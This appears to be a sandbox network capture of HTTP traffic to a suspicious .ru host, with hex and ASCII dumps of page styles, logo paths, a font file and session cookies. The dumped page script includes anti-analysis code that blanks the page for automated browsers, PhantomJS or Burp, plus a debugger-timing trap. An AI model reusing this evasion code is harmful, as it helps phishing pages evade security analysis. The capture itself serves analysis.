2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 Data Ascii: ;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 Data Ascii: lateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}} </style> <script> if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addE
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 7d 29 3b 0d 0a 51 6b 56 42 59 50 56 71 6a 49 20 3d 20 66 61 6c 73 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 69 44 62 6f 52 6a 70 6a 73 44 28 29 20 7b 0d 0a 20 20 20 20 6c 65 74 20 68 53 51 69 47 65 71 43 55 41 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 41 4c 4b 56 4c 74 6a 47 74 70 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 53 66 59 6e 55 70 56 46 42 70 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 45 79 Data Ascii: ntDefault(); return false;});QkVBYPVqjI = false;(function iDboRjpjsD() { let hSQiGeqCUA = false; const ALKVLtjGtp = 100; setInterval(function() { const SfYnUpVFBp = performance.now(); debugger; const Ey
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 33 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c Data Ascii: "></div><div class="s s2"></div><div class="s s3"></div></div><div class="r"><div class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div><
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 31 2e 36 33 31 2e 35 36 37 20 32 2e 33 31 38 2e 33 37 37 2e 36 39 2e 39 31 20 31 2e 32 33 20 31 2e 35 38 35 20 31 2e 36 30 32 2e 36 37 33 2e 33 37 33 20 31 2e 34 35 32 2e 35 36 33 20 32 2e 33 31 33 2e 35 36 33 20 31 2e 30 30 36 20 30 20 31 2e 38 36 36 2d 2e 32 30 31 20 32 2e 35 35 34 2d 2e 35 39 37 6c 2e 30 32 37 2d 2e 30 31 37 76 2d 31 2e 39 34 6c 2d 2e 30 38 39 2e 30 36 36 63 2d 2e 33 31 32 2e 32 32 37 2d 2e 36 36 2e 34 30 38 2d 31 2e 30 33 35 2e 35 33 38 61 33 2e 31 32 31 20 33 2e 31 32 31 20 30 20 30 31 2d 31 2e 30 31 34 2e 31 39 37 63 2d 2e 38 33 20 30 2d 31 2e 34 39 37 2d 2e 32 36 2d 31 2e 39 38 32 2d 2e 37 37 32 2d 2e 34 38 35 2d 2e 35 31 33 2d 2e 37 33 2d 31 2e 32 33 33 2d 2e 37 33 2d 32 2e 31 34 20 30 2d 2e 39 31 32 2e 32 35 35 2d 31 2e 36 35 31 Data Ascii: 1.631.567 2.318.377.69.91 1.23 1.585 1.602.673.373 1.452.563 2.313.563 1.006 0 1.866-.201 2.554-.597l.027-.017v-1.94l-.089.066c-.312.227-.66.408-1.035.538a3.121 3.121 0 01-1.014.197c-.83 0-1.497-.26-1.982-.772-.485-.513-.73-1.233-.73-2.14 0-.912.255-1.651
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 2e 30 35 36 2d 2e 31 30 39 63 2d 31 2e 30 31 20 30 2d 31 2e 38 34 35 2e 32 35 38 2d 32 2e 34 38 33 2e 37 36 37 2d 2e 36 34 2e 35 31 32 2d 2e 39 36 37 20 31 2e 31 38 34 2d 2e 39 36 37 20 31 2e 39 39 37 20 30 20 2e 34 32 32 2e 30 37 2e 37 39 38 2e 32 30 39 20 31 2e 31 31 36 2e 31 34 2e 33 32 2e 33 35 35 2e 36 2e 36 34 31 2e 38 33 37 2e 32 38 33 2e 32 33 33 2e 37 32 32 2e 34 37 38 20 31 2e 33 30 32 2e 37 32 38 2e 34 38 38 2e 32 2e 38 35 32 2e 33 37 20 31 2e 30 38 33 2e 35 30 35 2e 32 32 37 2e 31 33 2e 33 38 37 2e 32 36 33 2e 34 37 37 2e 33 39 2e 30 38 38 2e 31 32 37 2e 31 33 33 2e 32 39 39 2e 31 33 33 2e 35 31 32 20 30 20 2e 36 30 34 2d 2e 34 35 32 2e 38 39 37 2d 31 2e 33 38 34 2e 38 39 37 61 33 2e 38 20 33 2e 38 20 30 20 30 31 2d 31 2e 31 37 32 2d 2e 32 31 Data Ascii: .056-.109c-1.01 0-1.845.258-2.483.767-.64.512-.967 1.184-.967 1.997 0 .422.07.798.209 1.116.14.32.355.6.641.837.283.233.722.478 1.302.728.488.2.852.37 1.083.505.227.13.387.263.477.39.088.127.133.299.133.512 0 .604-.452.897-1.384.897a3.8 3.8 0 01-1.172-.21
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 30 31 2e 33 31 39 2d 2e 30 37 2e 35 33 35 2d 2e 31 33 37 2e 36 36 32 2d 2e 32 31 6c 2e 30 32 39 2d 2e 30 31 36 76 2d 31 2e 37 34 33 6c 2d 2e 30 38 37 2e 30 35 38 63 2d 2e 31 31 37 2e 30 37 38 2d 2e 32 36 32 2e 31 34 2d 2e 34 33 32 2e 31 38 38 2d 2e 31 37 2e 30 34 38 2d 2e 33 31 32 2e 30 37 32 2d 2e 34 32 32 2e 30 37 32 2d 2e 34 31 36 20 30 2d 2e 37 32 33 2d 2e 31 31 32 2d 2e 39 31 34 2d 2e 33 33 32 2d 2e 31 39 31 2d 2e 32 32 33 2d 2e 32 38 39 2d 2e 36 31 32 2d 2e 32 38 39 2d 31 2e 31 35 38 56 39 2e 34 38 68 32 2e 31 34 34 7a 22 20 66 69 6c 6c 3d 22 23 37 33 37 34 37 34 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 39 2e 39 35 38 68 39 2e 39 35 38 56 2e 30 30 31 48 30 7a 22 20 66 69 6c 6c 3d 22 23 46 30 35 31 32 34 22 3e 3c 2f 70 61 74 68 Data Ascii: 01.319-.07.535-.137.662-.21l.029-.016v-1.743l-.087.058c-.117.078-.262.14-.432.188-.17.048-.312.072-.422.072-.416 0-.723-.112-.914-.332-.191-.223-.289-.612-.289-1.158V9.48h2.144z" fill="#737474"></path><path d="M0 9.958h9.958V.001H0z" fill="#F05124"></path

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:19 UTC	1146	OUT	GET /rqvL8Yo5T1guQzvEvyXzBZ5mRylIHLa1dyl8f3zWTRFfq HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZqUUIyNmoyVTRJcWVTOUVSTGVsdHc9PSIsInZhbHVlIjoiYllkZGltMFlXeU5SbkowTDY2V0hvSGM5VC82cWtMUHFCU1NMNGN2U3BRZWxoSzdueTVZeHY2cDQ2YXYrN3Y3TW5xMkdVVEdnUFFtcEMrOUQ3T1o2U3RRbjZvS2laYmVwODhHelk0ZmluODAvMUxNVDJrSWhFbUd0RzlQYzRkNmsiLCJtYWMiOiJmNDI1MTQwYTg4ZTRlNzhjNzAwZDc0ODIzYmZhNjQ4OTk2MGI1MzFjMjFiM2UyNTEyOGI3ZWEzNzE1YmZlNGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5VcHdXT3hnWnl1LzJZRlJEVDhnbVE9PSIsInZhbHVlIjoiTUVTb3R5V2MyalhnSUNCaitDTjdsbGd2RGRuYlJLdmcyaHNuMkRyMU03OVRqbDh6SWU3dEoraHcrVDAwV1BLYlRuNzFqaUh4RDJJNmJ3Q3owZVVHbVl5bjhSeXVDTm9DNGQ0RVRQNkp1U3lLdVJhZ0t2WjBoOW41Vm0xaEdaaFkiLCJtYWMiOiI3MTk3YTQzMzQ1NTUwZTRhOTkyYmJmMjk5NjVhYmMwZGZiMGU3NTU2OTgyYzc4NTBlZjlhZGQ1YmVmZmEzMTY2IiwidGFnIjoiIn0%3D
2025-03-18 17:17:20 UTC	1036	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 17:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6S77x1m7Hpd%2BY3z%2Fi8Z4w2Z8PaxMgVaURVEnBN9cesCLaO8QTL6Wutkgd0fS9V%2BSl1gMW2FBCULGPcAPv2yNRmuxfMdWkOEGoLBOmUt9M0UvXj0qDKH%2FZS8jfBbykzqls%2BaK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=51361&min_rtt=51208&rtt_var=19312&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2056&delivery_rate=56553&cwnd=251&unsent_bytes=0&cid=ea12ba2e766c970e&ts=154&x=0" Server: cloudflare CF-RAY: 92266205efc6a4c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2441&min_rtt=2437&rtt_var=922&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1718&delivery_rate=1181229&cwnd=119&unsent_bytes=0&cid=f7dc4d7fe38a9226&ts=631&x=0"
2025-03-18 17:17:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:19 UTC	514	OUT	POST /report/v4?s=egrgXoIpJsGqMyHLn6e6fulqtxqkXieGCUxZIv%2BtUquQvEDIK4tcn2aAam0M3S%2BGwH3dAI6OyEiSVN9PGYLp2kJGX7o%2BYYns7Jjk75YtmRfCwGZ1zwQa9BEdqg03DPS5Okso HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 421 Content-Type: application/reports+json Origin: https://o0o6.bvyunz.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:17:19 UTC	421	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 38 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 30 6f 36 2e 62 76 79 75 6e 7a 2e 72 75 2f 6e 6d Data Ascii: [{"age":2,"body":{"elapsed_time":1188,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.80.1","status_code":404,"type":"http.error"},"type":"network-error","url":"https://o0o6.bvyunz.ru/nm
2025-03-18 17:17:19 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 18 Mar 2025 17:17:19 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:20 UTC	1402	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive Origin: https://o0o6.bvyunz.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
2025-03-18 17:17:21 UTC	1171	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:21 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" Last-Modified: Tue, 18 Mar 2025 17:17:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K95IU9wE03fI9olnelum8L8MCCViIFw4cD3HqY%2F4Q104CDLPe2S4WgeDBDObaLvDfRjNiyv6LFbyXr%2FWjJiU6%2FocnzrRmf8PXXzycgzleX%2FyNz4THiM%2BJTVEBXn%2FuJhZI5kF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=48715&min_rtt=48692&rtt_var=18306&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2363&delivery_rate=59245&cwnd=251&unsent_bytes=0&cid=e731f9bc0ee452e4&ts=293&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9226620d5f189e02-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1949&min_rtt=1945&rtt_var=738&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1974&delivery_rate=1475492&cwnd=232&unsent_bytes=0&cid=1e20e81007a070aa&ts=903&x=0"
2025-03-18 17:17:21 UTC	198	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)J
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 Data Ascii: Fc A7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsV
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 Data Ascii: Ka&LYl\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 0c d9 1e Data Ascii: ]ulFaRGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGt
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b 2e f2 7f Data Ascii: tLC=yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{.
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea 6b 96 62 Data Ascii: C\g1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6kb
